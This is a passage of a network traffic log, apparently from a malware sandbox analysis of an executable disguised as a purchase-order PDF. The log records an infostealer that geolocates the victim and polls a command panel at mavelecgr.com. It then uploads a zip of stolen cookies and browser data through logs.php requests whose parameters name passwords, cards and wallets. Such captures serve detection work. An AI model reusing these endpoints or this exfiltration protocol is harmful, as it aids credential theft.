Feb 22, 2023 09:43:55.480542898 CET	2841	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:43:54 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49717	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:57.142652988 CET	2842	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:43:57.188635111 CET	2843	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:57 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49700	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:42:39.011568069 CET	1079	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 22, 2023 09:42:39.049837112 CET	1079	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:42:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 52 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49718	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:57.212678909 CET	2843	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 22, 2023 09:43:57.250816107 CET	2843	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:43:56 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 58 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49719	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:43:57.351651907 CET	2844	OUT	POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c325d7e495 Host: mavelecgr.com Content-Length: 861889 Expect: 100-continue Connection: Keep-Alive
Feb 22, 2023 09:43:57.394824982 CET	2844	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:43:57.395102024 CET	2845	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 34 63 33 32 35 64 37 65 34 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db14c325d7e495Content-Disposition: form-data; name="file"; filename="CH_C8BC548DD2.zip"Content-Type: application/octet-stream
Feb 22, 2023 09:43:57.395225048 CET	2853	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 57 4d 56 56 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 43 61 72 64 73 2e 74 78 74 50 4b 03 04 14 00 00 00 08 00 5a 4d 56 56 6b fa d3 5b d1 00 00 00 4c 01 00 00 08 00 00 00 69 6e 66 6f 2e 74 78 74 ad 8e b1 4e c3 Data Ascii: PKWMVVCards.txtPKZMVVk[Linfo.txtN0EwK;&PU:0D-`5EbGQz0U#,pJI`"wwck7xLvR,m0t&[Khn%)t"j]1%e0)K:#L6"
Feb 22, 2023 09:43:57.395277023 CET	2856	OUT	Data Raw: c3 e4 68 e6 67 6f 51 61 7d 9f 89 df b6 c6 6a 8b f3 25 c6 d7 fa 3a a7 07 be 5d e9 9c 3c b3 72 81 ed 69 f2 3f 00 ca 7e ad 91 89 d4 dd 2d d9 e5 bd 98 b4 1a f3 fb 12 6f 01 77 99 27 5a 9d 8e f4 37 f7 bf 9c 6b 12 b1 f1 f3 2b f4 fa 3d e7 77 9b f6 1a f8 Data Ascii: hgoQa}j%:]<ri?~-ow'Z7k+=w[\|\|II5jxY(rj.2i8HP9Ez_jN (-\|@\C;{Bhbf&GO)BO("\SYPjNf}z~c}0]!EK+
Feb 22, 2023 09:43:57.438390970 CET	2867	OUT	Data Raw: 6b be 31 6a 71 0c f5 71 d0 0a 23 85 7b f8 d4 74 a2 56 4e 00 85 32 b4 e7 0d 7a 81 34 47 44 36 98 21 51 5a 39 88 52 83 ba 79 c2 26 73 fb fe f7 15 10 cf cb 92 b8 76 b9 6d e7 d2 b3 7e 7e 5b 9a c7 24 46 47 77 ef d0 56 c4 84 bc f8 e0 46 e4 8f de b2 8b Data Ascii: k1jqq#{tVN2z4GD6!QZ9Ry&svm~~[$FGwVFSl`=Q\|%8+m4@8t79\jBMJV?{Rmo{6q5@0'sloO-G~v0\bpfGMOERk]
Feb 22, 2023 09:43:57.438435078 CET	2878	OUT	Data Raw: 9d 2d f0 7f ce fd 37 5d 7c d1 70 a0 f1 25 3e 42 f9 e1 f1 78 84 c0 3b 1a 4b a7 e6 2b ec f5 c9 16 74 55 aa 88 73 d6 bf df c0 1c 27 7a 18 e7 c5 00 05 ce df dd 73 78 2f 00 bf 61 ae 44 16 62 ca 28 d0 14 66 bc 7a e8 d3 2c af cd 8b 91 14 d1 51 cc d1 9a Data Ascii: -7]\|p%>Bx;K+tUs'zsx/aDb(fz,Qc~5WWqS8s-$V=~.Xb[!X pQ@:6 Qf6X&MTL0*6sj4O5H2-'cqsftZ
Feb 22, 2023 09:43:57.479806900 CET	2881	OUT	Data Raw: 93 ae db 9d 89 7c 4d 9d 09 49 9a 0b 17 99 ae 2b 62 fb 94 e0 54 72 68 5e a4 6d c8 f5 db 47 5f f5 76 ed 96 dd f0 4e ca 5b e3 83 8b 08 b1 08 ef 51 f2 da e3 84 f8 80 29 04 dd 5d fe 40 ce bd 72 71 0a d4 04 15 d3 e3 7a 57 3b b0 24 26 b5 30 0f 37 6f 78 Data Ascii: \|MI+bTrh^mG_vN[Q)]@rqzW;$&07ox]XP6dk tW1mu\|el.%Z7Se"="Z+-GJVp&.^#LOrjzuM~WEN>sutL w{9W.U}686F
Feb 22, 2023 09:43:57.481637001 CET	2891	OUT	Data Raw: 52 97 59 8b 2c 75 70 e3 e5 f2 75 a9 01 7c 6a a0 bc 39 a8 a6 98 2b 85 3b 25 4b 8c c0 69 a0 14 d2 69 e3 c7 22 c0 06 3c e6 dc b2 d5 a5 3e 79 64 f7 e6 6a 40 ad be 5f b0 23 10 29 1b 9e 18 82 8a 24 5b a5 be fd de 38 bb 52 d3 b5 ad 0c dd 32 4e 75 39 7a Data Ascii: RY,upu\|j9+;%Kii"<>ydj@_#)$[8R2Nu9z3aJJd)a\Dl4HGP@'/$vsG)'Cw6u]\|H+iGcEH'~,&0:}xv0r:AiJZf7X0RS"` Usr]
Feb 22, 2023 09:43:57.481669903 CET	2901	OUT	Data Raw: ed 75 c0 15 6a f9 e9 b3 77 78 e4 8b b1 47 6b 17 af b8 8f 30 b1 f6 b4 4b b7 b7 8a 1e 2e ba 7c c9 b7 10 17 07 18 91 aa dd c1 f4 18 e5 ff c2 c8 8f 1b 44 e1 13 a4 e9 76 5e f6 b6 d1 8f 1c 20 1c 70 51 10 70 82 fe d8 7a 3d 57 43 1c b4 27 e9 a5 62 cd 13 Data Ascii: ujwxGk0K.\|Dv^ pQpz=WC'by.*\hzYA8>IL}0ImFv[')j}9i+\?ztNo4^nc_S\|w%b%1!X\|wn}Vhlnp
Feb 22, 2023 09:43:57.481693983 CET	2904	OUT	Data Raw: 71 7b d9 bf bd 47 00 46 d5 dc d9 ee 42 0e bd 76 c2 0c 20 20 b7 b4 0e fe c3 f2 ee 07 be 13 70 79 50 65 9e dc 82 d4 ca 47 5d 66 a2 74 a8 c8 24 54 86 9f 86 bc 06 17 ad 02 7b ff 84 d9 08 53 2f e6 29 13 a6 8c 5a 0a c3 a7 b1 d1 7c 21 65 0d 48 eb 88 82 Data Ascii: q{GFBv pyPeG]ft$T{S/)Z\|!eHM0.l[w\q'V!61e@\Ni$Yvj]!SKArENvvM<48k/~rc))EbQ(8\M[w~dc8\|VXsX
Feb 22, 2023 09:43:57.481714964 CET	2906	OUT	Data Raw: d0 7f 86 d6 6f 2e 92 b0 98 3e bf a6 08 9b 95 73 a2 1e 14 75 23 9d db 2e 6f 16 c3 ab 0b 24 b2 74 ac 5f c3 53 03 d6 04 53 9e f4 18 28 3f e7 03 37 fa 17 45 f6 d1 cd 24 d0 47 64 56 fa 2f 08 7d de 5c f2 67 65 a8 b5 ee 5f 62 aa 1d a5 94 ac 7e c8 32 c7 Data Ascii: o.>su#.o$t_SS(?7E$GdV/}\ge_b~2sCgnzatYZ3CBQ?#P62pXW~'OwtTY;98R;y-Wg}tom ~('65HMg*wm6>t.!x
Feb 22, 2023 09:43:58.091747999 CET	3717	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:58 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 22, 2023 09:43:58.335222006 CET	3718	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:43:58 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 22, 2023 09:44:03.481355906 CET	3718	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:44:03.527079105 CET	3718	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:03 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49720	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:06.812872887 CET	3719	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:44:06.858583927 CET	3719	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:06 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49721	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:07.020128012 CET	3720	OUT	POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c41529ca85 Host: mavelecgr.com Content-Length: 861889 Expect: 100-continue Connection: Keep-Alive
Feb 22, 2023 09:44:07.063227892 CET	3720	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:44:07.067837954 CET	3720	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 34 63 34 31 35 32 39 63 61 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db14c41529ca85Content-Disposition: form-data; name="file"; filename="CH_C8BC548DD2.zip"Content-Type: application/octet-stream
Feb 22, 2023 09:44:07.068075895 CET	3728	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 57 4d 56 56 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 43 61 72 64 73 2e 74 78 74 50 4b 03 04 14 00 00 00 08 00 5a 4d 56 56 6b fa d3 5b d1 00 00 00 4c 01 00 00 08 00 00 00 69 6e 66 6f 2e 74 78 74 ad 8e b1 4e c3 Data Ascii: PKWMVVCards.txtPKZMVVk[Linfo.txtN0EwK;&PU:0D-`5EbGQz0U#,pJI`"wwck7xLvR,m0t&[Khn%)t"j]1%e0)K:#L6"
Feb 22, 2023 09:44:07.068156958 CET	3732	OUT	Data Raw: c3 e4 68 e6 67 6f 51 61 7d 9f 89 df b6 c6 6a 8b f3 25 c6 d7 fa 3a a7 07 be 5d e9 9c 3c b3 72 81 ed 69 f2 3f 00 ca 7e ad 91 89 d4 dd 2d d9 e5 bd 98 b4 1a f3 fb 12 6f 01 77 99 27 5a 9d 8e f4 37 f7 bf 9c 6b 12 b1 f1 f3 2b f4 fa 3d e7 77 9b f6 1a f8 Data Ascii: hgoQa}j%:]<ri?~-ow'Z7k+=w[\|\|II5jxY(rj.2i8HP9Ez_jN (-\|@\C;{Bhbf&GO)BO("\SYPjNf}z~c}0]!EK+
Feb 22, 2023 09:44:07.111376047 CET	3749	OUT	Data Raw: 6b be 31 6a 71 0c f5 71 d0 0a 23 85 7b f8 d4 74 a2 56 4e 00 85 32 b4 e7 0d 7a 81 34 47 44 36 98 21 51 5a 39 88 52 83 ba 79 c2 26 73 fb fe f7 15 10 cf cb 92 b8 76 b9 6d e7 d2 b3 7e 7e 5b 9a c7 24 46 47 77 ef d0 56 c4 84 bc f8 e0 46 e4 8f de b2 8b Data Ascii: k1jqq#{tVN2z4GD6!QZ9Ry&svm~~[$FGwVFSl`=Q\|%8+m4@8t79\jBMJV?{Rmo{6q5@0'sloO-G~v0\bpfGMOERk]
Feb 22, 2023 09:44:07.111474991 CET	3756	OUT	Data Raw: 12 73 44 90 73 e7 4d eb 3f 77 6b ae 21 61 8d d5 48 fe b9 50 be 57 27 cc 5d 54 82 32 10 bd f1 3e 46 ed 92 02 a4 10 23 76 92 d5 c3 d1 6a 57 dd 7d 8c 1e a2 e7 a6 2b 27 dd 5c 0f 01 29 ae c5 53 7c b2 3b 9c ff e1 b6 c4 8d b1 12 2d b0 41 75 0b a2 6f 1a Data Ascii: sDsM?wk!aHPW']T2>F#vjW}+'\)S\|;-Auo3>jc=vtdG.c[RZ9bmQ75b?/M[jM\C\\|n}jsTqU)DXrHI76PwJ5,[Z]81cEz
Feb 22, 2023 09:44:07.154690027 CET	3779	OUT	Data Raw: 52 97 59 8b 2c 75 70 e3 e5 f2 75 a9 01 7c 6a a0 bc 39 a8 a6 98 2b 85 3b 25 4b 8c c0 69 a0 14 d2 69 e3 c7 22 c0 06 3c e6 dc b2 d5 a5 3e 79 64 f7 e6 6a 40 ad be 5f b0 23 10 29 1b 9e 18 82 8a 24 5b a5 be fd de 38 bb 52 d3 b5 ad 0c dd 32 4e 75 39 7a Data Ascii: RY,upu\|j9+;%Kii"<>ydj@_#)$[8R2Nu9z3aJJd)a\Dl4HGP@'/$vsG)'Cw6u]\|H+iGcEH'~,&0:}xv0r:AiJZf7X0RS"` Usr]
Feb 22, 2023 09:44:07.154829979 CET	3784	OUT	Data Raw: d0 7f 86 d6 6f 2e 92 b0 98 3e bf a6 08 9b 95 73 a2 1e 14 75 23 9d db 2e 6f 16 c3 ab 0b 24 b2 74 ac 5f c3 53 03 d6 04 53 9e f4 18 28 3f e7 03 37 fa 17 45 f6 d1 cd 24 d0 47 64 56 fa 2f 08 7d de 5c f2 67 65 a8 b5 ee 5f 62 aa 1d a5 94 ac 7e c8 32 c7 Data Ascii: o.>su#.o$t_SS(?7E$GdV/}\ge_b~2sCgnzatYZ3CBQ?#P62pXW~'OwtTY;98R;y-Wg}tom ~('65HMg*wm6>t.!x
Feb 22, 2023 09:44:07.154829979 CET	3789	OUT	Data Raw: 8b e3 2f 7b 07 e2 b9 a3 34 07 b6 56 06 d1 a9 96 73 8a c3 d0 a6 8f 22 a1 f4 6e 4a f3 0a 1f 6d 32 23 58 27 16 24 b0 d4 bc f1 b8 04 f3 98 7c d1 0b 17 58 9c c5 bf 53 2b 38 d9 6d 23 72 22 86 c5 ca 09 8c e1 74 0b 27 a6 de a7 e4 ee 85 0b 8c 1a 01 0b 47 Data Ascii: /{4Vs"nJm2#X'$\|XS+8m#r"t'GZ<]Gc]"c`q~T,Lgx=BvR}j\| (nkF5U\|`5-$}a\RSA_^G-m*<51f^Q~AtXu5^m[
Feb 22, 2023 09:44:07.154880047 CET	3801	OUT	Data Raw: 39 24 d0 c1 c1 44 d5 56 d4 ec 2f b6 26 1a 00 a2 ff 17 f2 1a a4 bb 27 0e 47 b9 79 00 2a 69 26 29 ff ce 84 18 fe 2f 09 d1 5f 8f 93 15 13 3c 6e 06 db 55 17 c8 e3 88 bc 07 18 26 35 9c 64 67 51 3d 27 49 45 67 90 56 e2 26 9a 54 38 fe 36 f0 47 6e 47 61 Data Ascii: 9$DV/&'Gyi&)/_<nU&5dgQ='IEgV&T86GnGa-}T #E J~b>y.SF@Lvxh`uKyZII1Y&$q~nw^kpeq['@c0gVj?AVNi
Feb 22, 2023 09:44:07.154931068 CET	3805	OUT	Data Raw: 56 e8 ce 0f 59 37 8b 4c 06 65 e4 7a f8 6e 66 ad 0f 82 bf 36 7e bc 8d 9d 4f 91 1a cb 53 91 cb 9b 46 da b1 d8 8e 50 12 db 80 af ef 52 90 f7 60 6f 7a bc 8d 4f d3 de 94 b7 f0 78 ff 0f 7f af 9a 2e 12 23 60 4e c6 1a 66 73 78 16 d5 90 29 28 16 30 7d d7 Data Ascii: VY7Leznf6~OSFPR`ozOx.#`Nfsx)(0}Fdr:[L*!8>G}Ty3 m~~:~}$'wh'q{B7(C[X\|o3>W'tk!}QgPrcb'I()dx
Feb 22, 2023 09:44:07.766957998 CET	4592	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:07 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49722	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:12.834158897 CET	4593	OUT	GET /json/ HTTP/1.1 Host: ip-api.com
Feb 22, 2023 09:44:12.874594927 CET	4594	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:44:12 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 42 X-Rl: 42 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49723	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:12.906498909 CET	4594	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:44:12.952162981 CET	4594	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:12 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49724	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:13.403511047 CET	4595	OUT	GET /json/ HTTP/1.1 Host: ip-api.com
Feb 22, 2023 09:44:13.441291094 CET	4596	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:44:12 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 42 X-Rl: 41 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49725	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:15.463079929 CET	4596	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
